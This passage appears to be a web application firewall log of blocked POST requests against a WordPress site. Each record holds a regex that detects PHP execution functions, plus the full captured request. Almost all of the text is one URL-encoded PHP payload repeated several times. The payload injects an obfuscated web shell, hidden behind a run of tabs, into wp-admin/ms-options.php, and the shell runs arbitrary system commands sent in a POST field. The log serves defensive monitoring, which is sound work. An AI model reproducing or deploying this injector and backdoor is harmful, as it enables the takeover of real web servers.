%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:5303\nsec-ch-ua-mobile:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nhU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:51","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:5303\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nIJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:53","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:5303\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\npM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-options.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hub_center1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524hub_center3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524hub_center6%2520%253D%2520%2522st%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t_co%255Cx6Et%255Cx65%255Cx6E%255Cx74s%2522%253B%2520%2524hub_center7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524hub_center4%2520%253D%2520%2522p%255Cx61s%255Cx73t%255Cx68%255Cx72u%2522%253B%2520%2524hub_center5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524framework%2520%253D%2520%2522%255Cx68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21f